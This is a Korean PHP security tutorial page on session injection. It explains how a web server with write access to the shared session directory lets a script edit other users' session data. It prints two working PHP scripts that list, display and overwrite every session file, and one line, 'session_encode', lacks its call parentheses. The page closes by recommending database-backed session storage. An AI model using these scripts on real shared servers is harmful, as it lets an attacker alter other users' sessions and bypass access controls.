PHP 보안 - 세션 삽입

黄舟
풀어 주다: 2023-03-05 20:46:02
원래의
1082명이 탐색했습니다.



세션 주입

세션 노출과 유사한 문제는 세션 주입입니다. 이러한 유형의 공격은 세션 저장소 디렉터리에 대한 읽기 권한뿐만 아니라 쓰기 권한도 있는 웹 서버를 기반으로 합니다. 따라서 다른 사용자가 세션을 추가, 편집, 삭제할 수 있도록 하는 스크립트를 작성하는 것이 가능합니다. 다음 예는 사용자가 기존 세션 데이터를 쉽게 편집할 수 있는 HTML 양식을 보여줍니다.

<?php
 
  session_start();
 
  ?>
 
  <form action="inject.php" method="POST">
 
  <?php
 
  $path = ini_get(&#39;session.save_path&#39;);
  $handle = dir($path);
 
  while ($filename = $handle->read())
  {
    if (substr($filename, 0, 5) == &#39;sess_&#39;)
    {
      $sess_data =
file_get_contents("$path/$filename");
 
      if (!empty($sess_data))
      {
        session_decode($sess_data);
        $sess_data = $_SESSION;
        $_SESSION = array();
 
        $sess_name = substr($filename, 5);
        $sess_name = htmlentities($sess_name,
ENT_QUOTES, &#39;UTF-8&#39;);
        echo "<h1>Session
[$sess_name]</h1>";
 
        foreach ($sess_data as $name =>
$value)
        {
          $name = htmlentities($name, ENT_QUOTES,
&#39;UTF-8&#39;);
          $value = htmlentities($value, ENT_QUOTES,
&#39;UTF-8&#39;);
          echo "<p>
                $name:
                <input type=\"text\"
                name=\"{$sess_name}[{$name}]\"
                value=\"$value\" />
                </p>";
        }
 
        echo &#39;<br />&#39;;
      }
    }
  }
 
  $handle->close();
 
  ?>
 
  <input type="submit" />
  </form>
로그인 후 복사


inject.php 스크립트는

 <?php
 
  session_start();
 
  $path = ini_get(&#39;session.save_path&#39;);
 
  foreach ($_POST as $sess_name =>
$sess_data)
  {
    $_SESSION = $sess_data;
    $sess_data = session_encode;
 
    file_put_contents("$path/$sess_name",
$sess_data);
  }
 
  $_SESSION = array();
 
  ?>
로그인 후 복사


그러한 공격은 매우 위험합니다. 공격자는 사용자의 데이터뿐만 아니라 자신의 세션 데이터도 편집할 수 있습니다. 공격자가 수정을 위해 모든 세션 데이터를 선택할 수 있어 액세스 제한 및 기타 보안 조치를 우회할 수 있으므로 세션 하이재킹보다 더 강력합니다.

이 문제를 해결하는 가장 좋은 방법은 세션 데이터를 데이터베이스에 저장하는 것입니다. 이전 섹션에 표시된 내용을 참조하세요.


위 내용은 PHP 보안-세션 인젝션 내용이며, 보다 자세한 내용은 PHP 중국어 홈페이지(www.php.cn)를 참고하시기 바랍니다. !



관련 라벨:
원천:php.cn
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿